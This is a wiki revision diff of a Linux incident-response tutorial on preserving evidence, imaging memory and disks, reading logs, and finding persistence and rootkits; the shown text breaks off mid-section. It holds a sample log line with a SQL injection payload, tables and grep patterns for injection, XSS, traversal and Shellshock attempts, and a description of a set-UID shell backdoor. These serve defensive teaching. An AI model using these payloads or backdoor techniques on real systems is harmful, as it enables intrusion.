Jump to content

Attack Analysis: Difference between revisions

From WikiCyber
No edit summary
m AdminUser moved page Draft:Attack Analysis to Attack Analysis without leaving a redirect: Approved by AdminUser
 
(18 intermediate revisions by 2 users not shown)
Line 1: Line 1:
== Overview ==
{| class="mw-collapsible mw-collapsed wikitable" style="width:100%"
Computer architecture is the conceptual design and fundamental operational structure of a computer system. It describes how hardware components are organized, how they communicate, and how they execute instructions to perform computation. The term is often used interchangeably with "computer organization," though scholars typically draw a distinction: architecture refers to the attributes visible to a programmer—the instruction set, addressing modes, data types—while organization refers to the operational units and their interconnections that implement those architectural specifications—control signals, memory technology, peripheral interfaces.
! Recommended Prerequisites (click to expand)
|-
|


A useful analogy is architecture in the building sense: two houses can share the same blueprint (architecture) but be constructed with different materials and techniques (organization). Similarly, two processors can implement the same instruction set architecture (ISA) while differing substantially in their internal circuitry and performance characteristics. <ref>{{cite journal |last1=Etzkowitz |first1=Henry |date=2019 |title=Is Silicon Valley a global model or unique anomaly? |url=https://doi.org/10.1177/0950422218817734 |journal=Industry and Higher Education |volume=33 |issue=2 |publisher=SAGE Publications |pages=83–95 |doi=10.1177/0950422218817734 |access-date=2026-08-08}}</ref>
[[Intro to Bash]], [[Grep and Loops]], [[Introduction to Service Auditing]], [[User Auditing - Beginner]]


=== Chapter 1: History of Computing ===
|}


==References==
'''Attack analysis''' is the work you do ''after'' something has gone wrong, or when you suspect it has: for example working out how an attacker got in, what they did, whether they are still there, and what you can prove. This page will walk you through that process on a Linux system, and will use tools that ship with a typical distribution, as well as a few free forensic tools for memory and disk images.
{{Reflist}}
 
== Ground rules ==
 
* '''Only analyze systems you own or are explicitly authorized to examine.''' This one is pretty self-explanatory.
* '''Write down what you do.''' Keep track of all the commands you run and the time you ran them (in UTC). Your notes are how you (or someone else, like your colleague) can later tell your activity apart from the attacker's.
* '''Any indicator is a lead, but not proof.''' A failed-login flood, an odd file in <code>/tmp</code> or a scanner warning each has innocent explanations. Look for several independent signs that tell the same story.
* '''Do not trust a compromised machine to tell the truth.''' If an attacker had administrator (root) access, they may have replaced the very commands you use to investigate. See [[#Step 5: Rootkits and tampering|Step 5]].
* '''Understand before you delete.''' Removing a malicious file or killing a process is tempting, but it also destroys evidence and can leave the backdoor/persistence (a cron job, an SSH key) untouched.
* '''Work on copies, read-only.''' Whenever you can, examine an image of the disk or memory rather than the original, mount images read-only, and record a hash (for example with <code>sha256sum</code>) of each image when you make it so you can show later that it did not change.
 
== The analysis loop ==
 
Most investigations follow the same rough loop. You will often go around it more than once as new findings raise new questions.
 
# '''Preserve''' evidence: memory, running state and disks, before they change or disappear.
# '''Find the way in''': the initial access (a guessed password, a vulnerable web application, a stolen key).
# '''Find what they did''': commands run, files touched, accounts created, data reached, etc.
# '''Find what they left behind''': persistence/backdoors so they can come back.
# '''Look for hiding''': rootkits and log tampering.
# '''Build a timeline''' that ties the above together, and check it for gaps.
# '''Contain, clean up and harden''': only once you understand the scope.
 
== Three ways to examine a system ==
 
The same questions can be asked of a running machine, a copy of the memory of the machine, or a copy of the machines disk. Each has strengths and blind spots, and a thorough investigation will always use more than one of the following approaches.
 
{| class="wikitable"
! Approach !! What you get !! Watch out for
|-
| '''Live system''' (typed commands, or a collection tool such as UAC) || Fast. Running processes, network connections, logged-in users, files and logs, in minutes. It is often the only practical option you have when disks are huge, or the network is slow, or there are many machines. || Every command you run changes the system, and you are relying on tools the attacker may have tampered with (for example, replacing /bin/cat with a malicous script).
|-
| '''Memory image''' || Processes (including ones hidden from normal tools), network connections, loaded kernel modules, shell command history with timestamps, and data that never reaches disk. || Only exists while the machine is on. Linux analysis needs a description ("symbols") of the exact kernel that was running, which can be hard to obtain (see [[#Going deeper: memory analysis with Volatility 3|below]]).
|-
| '''Disk image''' || Everything is stored on the disk: logs, configuration, user files, timestamps. It can only be examined read-only, so it is the safest to work with, and can be examined again and again. || There is no running state. It is also a large file. Linux disks have extra layers (LVM, RAID, encryption) to get through, and deleted files are often extremely hard to recover.
|}
 
== Where Linux keeps evidence ==
 
Paths differ slightly between distributions. The main split is Debian/Ubuntu versus Red Hat family (RHEL, Fedora, Rocky, Alma).
 
{| class="wikitable"
! What !! Where (Debian/Ubuntu) !! Where (RHEL family) !! What it tells you
|-
| Authentication and sudo || <code>/var/log/auth.log</code> || <code>/var/log/secure</code> || SSH logins (successful and failed), <code>sudo</code> and <code>su</code> use, new accounts
|-
| General system log || <code>/var/log/syslog</code> || <code>/var/log/messages</code> || Service starts and crashes, kernel messages, cron runs
|-
| systemd journal || <code>journalctl</code> || <code>journalctl</code> || The same events, indexed; the only source on systems without a syslog daemon
|-
| Login records || <code>last</code>, <code>lastb</code>, <code>lastlog</code> (read <code>/var/log/wtmp</code>, <code>btmp</code>, <code>lastlog</code>) || same || Who logged in, from where, and when; failed logins
|-
| Web server logs || <code>/var/log/apache2/</code> or <code>/var/log/nginx/</code> || <code>/var/log/httpd/</code> or <code>/var/log/nginx/</code> || Every request the web server handled (see below)
|-
| Audit framework (if installed) || <code>/var/log/audit/audit.log</code> || <code>/var/log/audit/audit.log</code> || File access, command execution and account changes, according to the rules configured
|-
| Package history || <code>/var/log/dpkg.log</code>, <code>/var/log/apt/history.log</code> || <code>dnf history</code>, <code>/var/log/dnf.log</code> || Software installed or removed, and when
|-
| Shell history || <code>~/.bash_history</code> (for each user) || same || Commands a user typed (can be disabled or erased, so no command history does no necessarily mean something has gone wrong)
|-
| Scheduled tasks || <code>/etc/crontab</code>, <code>/etc/cron.*</code>, <code>/var/spool/cron/crontabs/</code> || <code>/etc/crontab</code>, <code>/etc/cron.*</code>, <code>/var/spool/cron/</code> || Commands that run automatically
|}
 
If <code>/var/log/auth.log</code> does not exist on a newer install, the system is logging to the journal only; use <code>journalctl</code> instead.
 
When you examine a '''mounted disk image''' (see [[#Working from a disk image|below]]), put the mount point in front of every one of these paths, for example <code>/mnt/data/var/log/auth.log</code>. It is easy to read your own workstation's <code>/var/log</code> by accident.
 
== Step 1: Preserve evidence ==
 
Evidence disappears in a predictable order: memory and running processes first, then temporary files, then things on disk, and finally whatever is stored somewhere the attacker cannot reach (i.e., a remote log server). Capture the most fragile evidence first, and '''do not reboot''' the machine until you have it. Where possible, write what you collect to external storage, not the compromised disk, so you do not overwrite deleted files that might matter.
 
=== Live triage and volatile state ===
 
If you have a way to capture memory (see the [[#Capturing memory|next section]]), do that first, as every command you type also changes what is in memory. If you do not, start with these:
 
<syntaxhighlight lang="bash">
date -u; uptime                    # record the time and how long it has been up
who -a; w                          # who is logged in right now, and doing what
ps -eo pid,ppid,user,lstart,cmd --forest  # process tree with start times
sudo ss -tunap                      # all sockets with the owning process
sudo lsof -nP -i                    # network files, a second opinion on ss
</syntaxhighlight>
 
Typing commands by hand is slow and is easy to get wrong under pressure. [https://github.com/tclahr/uac UAC] (Unix-like Artifacts Collector) is a free script that gathers the important live artifacts in a few minutes (processes and their executable paths, network connections, logged-in users, user and SSH files, logs, a list of set-UID programs, hashes of executable files, and a "body file" of all file timestamps for [[#Step 6: Building a timeline|timelines]]) and saves them in one compressed archive. It can also call a memory-capture tool:
 
<syntaxhighlight lang="bash">
# run from the unpacked UAC directory; "ir_triage" is the quick profile, "full" adds browser and application data
sudo ./uac -p ir_triage /mnt/evidence
 
# same as the above, but also includes a memory dump with AVML (UAC ships a configuration for it)
sudo ./uac -a memory_dump/avml.yaml -p ir_triage /mnt/evidence
</syntaxhighlight>
 
Option names and output folders change between UAC versions, so check the current documentation before an incident, not during an incident.
 
==== Reading the process list ====
 
It is important to read the process tree with the parent/child relationship in mind. On Linux the tree is mainly flat and regular, so not normal things stand out:
 
* '''A web server with a shell (<code>sh</code>, <code>bash</code>) or a download tool (<code>curl</code>, <code>wget</code>) as a child''' is one of the most obvious indicators of a web-application compromise, because the web server has no ordinary reason to do that. In general, background services should not spawn interactive shells.
* '''Programs running from the wrong place.''' System programs live under <code>/usr</code> (and third-party software under <code>/opt</code> or <code>/usr/local</code>). A program running from <code>/tmp</code>, <code>/var/tmp</code>, <code>/dev/shm</code> or someone's home directory should be scrutinized.
* '''Programs running from a deleted file.''' Malware can start itself and then delete its own executable, while the process keeps running. However, the file will be gone from the disk.
* '''Programs whose working directory is a hidden directory''' (a name starting with a dot, i.e. <code>.ssh</code>).
* '''Orphans.''' When a parent process exits, its children are adopted by the init process (PID 1, usually <code>systemd</code>), so an attacker's background job often shows a parent PID of 1. Many legitimate services look the same, so this is a reason to look, not a conclusion.
* '''Disguised names.''' A process can rename itself so that <code>ps</code> shows something like <code>[kworker/3:3]</code>, which looks like a kernel thread. Real kernel threads are children of <code>kthreadd</code> (PID 2) and have no executable file.
 
<syntaxhighlight lang="bash">
# programs running from a file that has since been deleted (common for malware that removes itself)
sudo sh -c 'ls -l /proc/[0-9]*/exe' 2>/dev/null | grep -F '(deleted)'
 
# running programs whose executable is not under /usr, /opt or /snap (starting point, expect some noise)
sudo sh -c 'ls -l /proc/[0-9]*/exe' 2>/dev/null | grep -vE -- '-> /(usr|opt|snap)/'
 
# processes whose current directory is a hidden directory
sudo sh -c 'ls -l /proc/[0-9]*/cwd' 2>/dev/null | grep -F '/.'
 
# "kernel threads" that are not children of kthreadd (PID 2): probably impostors
ps -eo pid,ppid,user,cmd | awk '$4 ~ /^\[/ && $2 != 2 && $1 != 2'
 
# what a suspicious process (PID 4188 here) is and where it lives
sudo ls -l /proc/4188/exe /proc/4188/cwd
sudo cat /proc/4188/cmdline | tr '\0' ' '; echo
</syntaxhighlight>
 
'''Recovering a deleted program.''' Because the running process still holds the file open, you can copy it out of <code>/proc</code> before you kill the process, and then hash it and study it (or look it up):
 
<syntaxhighlight lang="bash">
sudo cp /proc/4188/exe /mnt/evidence/pid4188.bin
sha256sum /mnt/evidence/pid4188.bin
</syntaxhighlight>
 
Also note '''listening''' ports (<code>sudo ss -tulpn</code>) that you cannot account for. Attackers sometimes leave a listener behind as a back door, and some tools default to well-known ports such as 4444, though a careful attacker will pick something ordinary-looking.
 
==== Where attackers stage files ====
 
Attackers who have not (yet) gained administrator access can still write to a few places, so these are worth checking first:
 
* <code>/tmp</code> and <code>/var/tmp</code>: world-writable and the classic spot.
* <code>/dev/shm</code>: also world-writable, but it lives only in memory. Everything in it is lost at shutdown, which makes it attractive for files the attacker does not want found. '''Look in it before you power the machine off.'''
* Hidden directories (names starting with <code>.</code>), especially ones that imitate something legitimate. For example, <code>/tmp/.ICE-unix</code> is a normal directory on Linux desktops, so a similar-looking <code>/tmp/.ICEd-unix</code> is designed to be overlooked. Another trick is a directory named with two dots and a trailing space (<code>.. </code>) placed next to the real <code>..</code>.
 
<syntaxhighlight lang="bash">
# hidden directories anywhere except /proc, /sys, root's home and users' home directories (which have legitimate ones)
sudo find / \( -path /proc -o -path /sys -o -path /root -o -path '/home/*' \) -prune -o -type d -name '.*' -print 2>/dev/null
 
sudo find /tmp /var/tmp /dev/shm -type f -ls
</syntaxhighlight>
 
=== Capturing memory ===
 
Memory is the most fragile evidence and holds things that never reach disk. Historically you could copy <code>/dev/mem</code> with <code>dd</code>, but the kernel now restricts that, so you need tools.
 
{| class="wikitable"
! Tool !! How it works !! Notes
|-
| [https://github.com/microsoft/avml AVML] || Reads memory through <code>/proc/kcore</code>. || A single program you copy to the machine. Usually the easiest choice. Writes to a file.
|-
| [https://github.com/504ensicsLabs/LiME LiME] || A kernel module you build for the machine's kernel and load || Can write straight to the network. Also works on Android.
|}
 
<syntaxhighlight lang="bash">
sudo ./avml /mnt/evidence/memory.lime
</syntaxhighlight>
 
Writing a multi-gigabyte file onto the suspect's own disk can overwrite deleted files you might want. Write to an external or network drive if you can. AVML insists on writing a "file," so if there is nowhere to put one you can give it a named pipe (FIFO) that forwards the data over the network as it is written:
 
<syntaxhighlight lang="bash">
# on the analysis machine: listen and save (netcat options differ between versions; this is the traditional form)
nc -l -p 9999 > memory.lime
 
# on the suspect machine
mkfifo /tmp/memfifo
cat /tmp/memfifo | nc -w 1 ANALYSIS_MACHINE_IP 9999 &
sudo ./avml /tmp/memfifo
</syntaxhighlight>
 
Only do this over a network you trust, as netcat does not encrypt anything. Hash the memory file when it is complete. Then check that you can actually use it, becuase Linux memory analysis often fails at the first hurdle (see [[#Going deeper: memory analysis with Volatility 3|the Volatility section]]).
 
=== Capturing a disk ===
 
How you image a disk depends on where the machine lives. It is best to be flexible as no single method fits every single case.
 
* '''Public cloud:''' use the provider's documented forensic procedure (usually a snapshot of the volume that you attach to an analysis instance).
* '''Your own hypervisor:''' snapshot the virtual machine. That typically gives you a memory image as well as the disk. Convert the virtual disk to a raw image if your tools need it (<code>qemu-img convert</code> does this).
* '''Physical disk:''' image the disk from a trusted boot environment (or through a hardware write blocker) with a forensic imager such as <code>ewfacquire</code> (compressed E01 files) or <code>dc3dd</code> (raw).
 
<syntaxhighlight lang="bash">
# raw image with a built-in hash and log (replace /dev/sdb with the disk being imaged)
sudo dc3dd if=/dev/sdb of=/mnt/evidence/disk.raw hash=sha256 log=/mnt/evidence/disk.log
</syntaxhighlight>
 
Forensic imaging usually happens on machines that were not shut down cleanly (a clean shutdown usually alters the disk). As a result, the file systems in the image are often "dirty," which matters when you mount them (below).
 
== Working from a disk image ==
 
Linux forensic tools generally want a '''raw''' image. Common forensic formats such as E01 must be converted or exposed as raw first. To add on to that, Linux disks are also often built in layers, and you may have to peel them back one at a time:
 
# '''E01 container''' (if used): expose it as a raw disk image.
# '''Partition table:''' find which partitions exist and where they start.
# '''Encryption or software RAID''' (if used): unlock or assemble it. (Not covered.)
# '''LVM''' (very common): activate the logical volumes.
# '''File system:''' mount it read-only.
 
<syntaxhighlight lang="bash">
sudo mkdir -p /mnt/img /mnt/data
 
# E01 container -> a virtual raw file at /mnt/img/ewf1 (read-only). Skip this if you already have a raw image.
sudo ewfmount Webserver.E01 /mnt/img
 
# partition table to check what's inside (mmls is from The Sleuth Kit; note each partition's Start sector)
mmls /mnt/img/ewf1
 
# attach a read-only loopback device at a partition's start (start sector x 512 bytes)
START_SECTOR=501760
sudo losetup -rf -o $((START_SECTOR*512)) /mnt/img/ewf1
losetup -a                      # which loop device did you get? (here: /dev/loop0)
file -s /dev/loop0              # confirm what is on it (for example: LVM2 PV)
 
# LVM: find and activate the volume group, then list its logical volumes
sudo pvdisplay /dev/loop0        # note the "VG Name"
sudo vgscan
sudo vgchange -a y VOLUME_GROUP_NAME
sudo lvscan
 
# file system: mount read-only, with no program execution allowed
sudo mount -o ro,noexec,noload /dev/VOLUME_GROUP_NAME/root /mnt/data
</syntaxhighlight>
 
Notes on the options:
 
* <code>ro</code> and <code>noexec</code>: even though the layers below are already read-only, use both anyway (it's a good habit to build), and <code>noexec</code> stops you from accidentally running malware from the image you are investigating (which would be really, really bad).
* <code>noload</code>: an image taken from a machine that was running is usually "dirty," meaning the file system's journal has unfinished changes. A plain read-only mount then fails (check <code>dmesg | tail</code>). <code>noload</code> tells the ext3/ext4 driver to ignore the journal so the mount succeeds without replaying (and thus modifying) anything. The trade-off however is that the last few changes before the capture may not be visible. XFS uses <code>norecovery</code> instead, and often also needs <code>nouuid</code> if your workstation has a file system with the same ID.
* A partition that is not part of LVM (often <code>/boot</code>) needs no LVM step: mount it straight from the image with <code>mount -o ro,noexec,loop,offset=$((START_SECTOR*512)) /mnt/img/ewf1 /mnt/data/boot</code> (add <code>noload</code> if it complains about the journal).
 
Take the layers down in reverse order when you are done:
 
<syntaxhighlight lang="bash">
sudo umount /mnt/data
sudo vgchange -a n VOLUME_GROUP_NAME
sudo losetup -d /dev/loop0
sudo umount /mnt/img            # the ewfmount
</syntaxhighlight>
 
'''Traps when reading a mounted image:'''
 
* Owner names shown by <code>ls -l</code> come from '''your workstation's''' <code>/etc/passwd</code>, not the image's, so UID 1001 might display as the wrong person. Use <code>ls -ln</code> (numbers) or look up the IDs in the image's own <code>/mnt/data/etc/passwd</code>.
* Absolute symbolic links inside the image point at your own system's files, not the image's. Check with <code>readlink</code> instead of simply blindly trusting what a link shows you.
* Most tools can read a copy of a log directly: <code>last -aiF -f /mnt/data/var/log/wtmp</code>, or <code>journalctl -D /mnt/data/var/log/journal</code> (if the system kept a persistent journal).
 
== Step 2: Find the way in ==
 
=== Remote login (SSH) ===
 
Password guessing against SSH is constant background noise on any internet-facing host. The question is not "was I attacked?" (you were, of course) but "did any guess succeed?"
 
<syntaxhighlight lang="bash">
# which addresses failed the most (the address is the 4th field from the end of the line)
sudo grep "Failed password" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -nr | head
 
# did any of them ever get in?
sudo grep "Accepted" /var/log/auth.log
 
# every event involving one address, in order
sudo grep -E "Failed|Accepted" /var/log/auth.log | grep 198.51.100.7
</syntaxhighlight>
 
Example output (addresses here are from the reserved documentation ranges, not real hosts):
 
<syntaxhighlight lang="text">
Sep 10 13:58:01 web sshd[911]: Failed password for root from 198.51.100.7 port 51522 ssh2
Sep 10 13:58:03 web sshd[911]: Failed password for invalid user admin from 198.51.100.7 port 51530 ssh2
Sep 10 13:58:09 web sshd[917]: Failed password for root from 198.51.100.7 port 51544 ssh2
Sep 10 13:59:40 web sshd[930]: Accepted password for deploy from 198.51.100.7 port 51601 ssh2
</syntaxhighlight>
 
The pattern to worry about is '''many failures, then a success, from the same address''', especially for an account that should never log in from that place. Confirm with the login records:
 
<syntaxhighlight lang="bash">
last -aiF | head -20              # recent logins with full timestamps and source IPs
sudo lastb -aiF | head -20        # recent failed logins
lastlog | grep -v "Never logged in"
journalctl -u ssh --since "2026-09-10" -g "Accepted"  # the unit is "sshd" on RHEL-family systems
</syntaxhighlight>
 
Be aware that these records are easy to lose: <code>wtmp</code> is often rotated (truncated) weekly or monthly, <code>btmp</code> may not be kept at all because failed logins can contain mistyped passwords, and <code>lastlog</code>'s format varies between systems.
 
Success by public key leaves a different line (<code>Accepted publickey for ...</code>). If you see one for a key you do not recognize, go straight to [[#Step 4: Persistence|persistence]] and check <code>authorized_keys</code>.
 
=== Web applications ===
 
Web server access logs record one line per request. In the common "combined" format the fields are: client address, timestamp, request line, status code, response size in bytes, referrer and User-Agent.
 
<syntaxhighlight lang="text">
198.51.100.9 - - [10/Sep/2026:14:03:01 +0000] "GET /item.php?id=1%27%20UNION%20SELECT%20user,pass%20FROM%20users--%20- HTTP/1.1" 500 1024 "-" "sqlmap/1.7"
</syntaxhighlight>
 
Start with an overview, and then zoom in on one address:
 
<syntaxhighlight lang="bash">
LOG=/var/log/apache2/access.log    # /var/log/nginx/access.log, or /var/log/httpd/access_log
 
awk '{print $1}' $LOG | sort | uniq -c | sort -nr | head    # busiest clients
awk '{print $9}' $LOG | sort | uniq -c | sort -nr            # status code counts
grep '^198.51.100.9 ' $LOG                                  # everything one client did
</syntaxhighlight>
 
Attackers usually send their payload URL-encoded (<code>%27</code> is <code>'</code>, <code>%20</code> is a space). Decode the lines you are reading:
 
<syntaxhighlight lang="bash">
grep '^198.51.100.9 ' $LOG | python3 -c 'import sys,urllib.parse as u; [print(u.unquote(l),end="") for l in sys.stdin]'
</syntaxhighlight>
 
(A plain <code>+</code> in a query string can also mean a space; <code>unquote</code> leaves it alone so timestamps such as <code>+0000</code> stay readable.)
 
==== What common web attacks look like in the log ====
 
{| class="wikitable"
! Attack !! What to look for in the request !! Notes
|-
| SQL injection || <code>'</code> or <code>%27</code>, <code>UNION SELECT</code>, <code>OR 1=1</code>, <code>--</code>, or an automated-tool User-Agent such as <code>sqlmap</code> || A burst of <code>500</code> errors from one client while it probes is typical. A later run of <code>200</code> responses with unusually large sizes can mean data came back.
|-
| Cross-site scripting (XSS) || <code>&lt;script&gt;</code> or <code>%3Cscript</code>, <code>onerror=</code>, <code>javascript:</code> || Reflected XSS shows in the URL. Stored XSS is usually submitted in a POST body, which is not logged (see below).
|-
| Path traversal / file inclusion || <code>../</code>, <code>..%2f</code>, <code>%2e%2e</code>, or a path like <code>/etc/passwd</code> in a parameter || A <code>200</code> with a plausible response size means the file may have been returned.
|-
| Command injection || Shell metacharacters (<code>;</code>, <code>%3B</code>, backticks, <code>$(</code>) followed by commands like <code>wget</code>, <code>curl</code> or <code>/bin/sh</code> || Confirm with the process tree: did the web server user spawn anything?
|-
| Shellshock (CVE-2014-6271) || <code>() {</code> at the start of a header value, usually User-Agent, against a <code>/cgi-bin/</code> script || Old and long patched, but a good example: the attack rides in a header, not the URL.
|-
| Web shell upload || A POST to an upload form, then GET requests to a brand-new <code>.php</code> file in the upload directory || Look for files the application should not have created.
|-
| Scanning and reconnaissance || Many <code>404</code>s, requests for <code>/.env</code>, <code>/wp-login.php</code>, <code>/phpmyadmin</code>, or scanner User-Agents || Common and usually harmless on its own; it tells you who was looking, not who got in.
|}
 
<syntaxhighlight lang="bash">
# starting-point searches (expect some false positives; refine them as much as you can before you start trustung their results)
grep -iE "union.{1,10}select|sqlmap|%27" $LOG            # SQL injection
grep -iE "<script|%3Cscript|onerror=" $LOG              # XSS
grep -E "\.\./|%2e%2e|/etc/passwd" $LOG                  # path traversal
grep -E '\(\) *\{' $LOG                                  # Shellshock-style header
</syntaxhighlight>
 
'''Important limits of access logs.''' The server does not log '''POST bodies''' or, by default, most headers other than User-Agent and Referer. An injection sent by POST leaves only a bare <code>POST /login</code> line. To see those attacks you need application logs, database query logs, or a web application firewall (for example ModSecurity) that records rejected requests. Also, a <code>200</code> status only means the request was served, not that the attack worked, and a <code>500</code> does not mean it failed.
 
==== From a request to a compromise ====
 
A logged attack request proves that someone ''tried'' to attack. To decide whether it ''worked'', follow it into the rest of the system:
 
* Did a process appear in the tree, owned by the web server user (<code>www-data</code>, <code>apache</code>, <code>nginx</code>), just after the request timestamp?
* Is that process holding a network connection to an address that is not one of your users or dependencies?
* Are there new or modified files in the web root, <code>/tmp</code>, <code>/var/tmp</code> or <code>/dev/shm</code> from about the same time?
* Did the same client address go on to do anything else (a second request type, a login)?
 
<syntaxhighlight lang="bash">
# files in the web root changed in the last 2 days
sudo find /var/www -type f -mtime -2 -ls
 
# PHP files that call functions commonly used by web shells (often noisy)
sudo grep -RIlE "(eval|assert|system|passthru|shell_exec|proc_open)[[:space:]]*\(" /var/www --include=*.php
</syntaxhighlight>
 
== Step 3: What did they do? ==
 
=== Privilege escalation and account activity ===
 
<syntaxhighlight lang="bash">
sudo grep -E "sudo:|su\[|su:" /var/log/auth.log | grep -E "COMMAND=|session opened"  # who ran what as root
sudo grep -E "useradd|usermod|groupadd|passwd\[" /var/log/auth.log                    # account changes
awk -F: '$3==0 {print $1}' /etc/passwd            # accounts with UID 0 should be only "root"
sudo awk -F: '$2=="" {print $1}' /etc/shadow      # accounts with an empty password
grep -vE '(nologin|false)$' /etc/passwd          # accounts that can log in interactively
ls -l /etc/sudoers.d/; sudo grep -rvE '^\s*(#|$)' /etc/sudoers /etc/sudoers.d/
</syntaxhighlight>
 
A second UID-0 account, or a regular user suddenly present in <code>sudoers</code>, is a strong indicator. Attackers who want to blend in often reuse existing accounts rather than create obvious new ones, so also check that service accounts (such as <code>www-data</code> or <code>mysql</code>) still have a non-login shell and no usable password hash in <code>/etc/shadow</code>, and that nobody has been quietly added to a privileged group in <code>/etc/group</code>.
 
=== Command history ===
 
<syntaxhighlight lang="bash">
sudo sh -c 'ls -l /root/.bash_history /home/*/.bash_history'  # empty? a symlink to /dev/null? recently truncated?
sudo sh -c 'cat /root/.bash_history /home/*/.bash_history'
</syntaxhighlight>
 
What to keep in mind about <code>.bash_history</code>:
 
* Bash writes history when a shell exits, so a session that is still open, or that was killed, may not be recorded yet. On a live system the missing commands are only in memory (see the <code>bash</code> plugin in [[#Going deeper: memory analysis with Volatility 3|the Volatility section]]).
* It has '''no timestamps''' by default (unless <code>HISTTIMEFORMAT</code> was set). To date a command, match it with other evidence:a log line, a file's timestamp, or a process start time. For example, a <code>useradd</code> in the history can be tied to the log entry for the new account and the modification time of <code>/etc/passwd</code>.
* It is a plain text file. Attackers can edit or delete it, clear it (<code>history -c</code>), unset <code>HISTFILE</code>, or link it to <code>/dev/null</code>. Older copies sometimes survive in the disk's unallocated space, so searching a disk image for typical command strings can recover deleted history.
* An ''empty or missing'' history on an account that is otherwise active is itself worth noting.
 
=== Other traces users leave behind ===
 
Interactive use of a Linux system leaves small traces in the user's home directory. Individually minor, they often fill in the story:
 
{| class="wikitable"
! File (in the user's home directory) !! What it can show
|-
| <code>.ssh/authorized_keys</code> || Keys that can log in ''to'' this account. Any key you do not recognize is a possible back door.
|-
| <code>.ssh/known_hosts</code> || Machines this user connected ''out to'' over SSH. It shows an SSH connection was made, not that the login succeeded. Entries can be hashed, hiding the addresses.
|-
| <code>.ssh/config</code> || Shortcuts, user names and jump hosts the user set up, which can reveal other systems they reach.
|-
| <code>.lesshst</code> || Search terms typed into the <code>less</code> pager, and commands run from inside it.
|-
| <code>.viminfo</code> || Files recently edited in <code>vim</code> (with the position in each), plus its search and command history.
|-
| <code>.local/share/recently-used.xbel</code> || Files opened through the desktop file manager, with timestamps (only on systems with a desktop).
|-
| <code>.local/share/Trash/</code> || Files deleted through the desktop; the <code>info/</code> folder records where each came from.
|-
| Browser profiles (Firefox, Chromium) || Browsing, downloads and saved sessions on desktop systems.
|}
 
=== The audit framework ===
 
If <code>auditd</code> is installed and configured, it is the best source for "who ran what." For example, with a rule that watches account files:
 
<syntaxhighlight lang="bash">
# in /etc/audit/rules.d/identity.rules
-w /etc/passwd -p wa -k identity
-w /etc/shadow -p wa -k identity
 
# later, when investigating
sudo ausearch -k identity -i        # events that matched the rule, human-readable
sudo aureport -au                    # authentication summary
 
# the same tools can read logs copied off a machine or mounted from an image
sudo ausearch --if /mnt/data/var/log/audit -i -c useradd
</syntaxhighlight>
 
If keystroke (TTY) auditing was enabled, <code>aureport --tty</code> can show what was typed. Auditing has to be set up ''before'' the incident; it cannot reconstruct events that were never recorded.
 
== Step 4: Persistence ==
 
Attackers who got in once want to be able to get back in. Some do not bother (opportunistic cryptocurrency miners are sometimes dropped with no persistence at all), but many do. Check every place a program can be made to start again on its own:
 
<syntaxhighlight lang="bash"># scheduled tasks
cat /etc/crontab; ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily
sudo ls -la /var/spool/cron/crontabs/          # /var/spool/cron/ on RHEL family
sudo ls -la /var/spool/cron/atjobs/ 2>/dev/null  # one-time "at" jobs (Debian/Ubuntu)
systemctl list-timers --all
 
# services and units
systemctl list-unit-files --state=enabled
sudo find /etc/systemd /usr/lib/systemd -type f -newermt "2026-09-01"
ls -la ~/.config/systemd/user 2>/dev/null
 
# SSH keys (any key listed here can log in as that user with no password)
sudo find / -xdev -name authorized_keys -exec ls -l {} \;
sudo sh -c 'cat /root/.ssh/authorized_keys /home/*/.ssh/authorized_keys' 2>/dev/null
 
# shell start-up files that run at every login
ls -la /etc/profile.d/ ~/.bashrc ~/.profile /root/.bashrc
 
# programs injected into every process (normally this file is absent or empty)
cat /etc/ld.so.preload 2>/dev/null</syntaxhighlight>
 
Older systems use init scripts under <code>/etc/init*</code> instead of (or as well as) systemd. And remember that an attacker who wants to be less obvious may leave the cron entry or service unit alone and instead modify a '''script that a legitimate task already runs'''. Look at what your scheduled tasks and services actually execute, not only at their configuration.
 
'''Back doors beyond start-up entries:''' a web shell in the web root; a replacement <code>sshd</code> with a built-in password; an extra UID 0 account; a service account given a password; an added <code>authorized_keys</code> line; a broadened <code>sudoers</code> entry; and the set-UID trick below.
 
'''Set-UID/set-GID programs.''' A program with the set-UID bit runs with its ''owner's'' privileges rather than the user's (this is how <code>passwd</code> can update <code>/etc/shadow</code>). An attacker with root can copy a shell, turn on the set-UID bit and leave it somewhere quiet; anyone who can run it (with <code>-p</code>, so it does not drop its privileges) is root again.
 
<syntaxhighlight lang="bash">
# set-UID / set-GID programs anywhere outside /usr (there should be very few)
sudo find / \( -path /proc -o -path /sys \) -prune -o -type f \( -perm -4000 -o -perm -2000 \) ! -path '/usr/*' -ls 2>/dev/null
 
# the full list of set-UID programs
sudo find / -xdev -perm -4000 -type f 2>/dev/null
</syntaxhighlight>
 
Compare the full list against a clean machine of the same OS, the same baseline-and-<code>diff</code> technique used on [[Intermediate Service Auditing]]. Also revisit [[#Where attackers stage files|where attackers stage files]]: names that imitate system files but sit in the wrong place, executables in <code>/tmp</code>, <code>/var/tmp</code> or <code>/dev/shm</code>, and dot-prefixed directories under <code>/usr</code>, <code>/var</code> or <code>/dev</code> are all worth a closer look.
 
=== A post-exploitation checklist ===
 
{| class="wikitable"
! Check !! How
|-
| New or unexpected SSH keys || Read every <code>authorized_keys</code>. If you find one, search your other machines for the same key.
|-
| Unexpected group members || Compare <code>/etc/group</code> against what you expect, especially groups named in <code>sudoers</code>.
|-
| Unlocked service accounts || Service accounts should have <code>nologin</code> (or <code>false</code>) as their shell and no valid password hash in <code>/etc/shadow</code>.
|-
| Extra UID 0 accounts || <code>awk -F: '$3==0' /etc/passwd</code>
|-
| Edited sudo rules || Read <code>/etc/sudoers</code> and <code>/etc/sudoers.d/</code> directly.
|-
| Unauthorized set-UID bits || The <code>find</code> commands above.
|}
 
== Step 5: Rootkits and tampering ==
 
A '''rootkit''' is malware built to hide itself and the attacker's other activity. Two kinds are common on Linux:
 
* '''User-space (library preload) rootkits''' install a malicious shared library and make every program load it (through <code>/etc/ld.so.preload</code> or the <code>LD_PRELOAD</code> variable), so that <code>ls</code>, <code>ps</code>, <code>ss</code> and friends quietly leave out the attacker's files, processes and connections. Older rootkits simply replaced those programs.
* '''Kernel-module (LKM) rootkits''' load a malicious kernel module that intercepts system calls (for example the ones that list directories or send signals) and can hide from the operating system itself. Older families such as t0rn hid their files in look-alike, dot-prefixed directories (for example under <code>/usr/src</code>) and included a helper that scrubbed matching lines from log files, but the ideas are the same today.
 
=== Signs something is being hidden ===
 
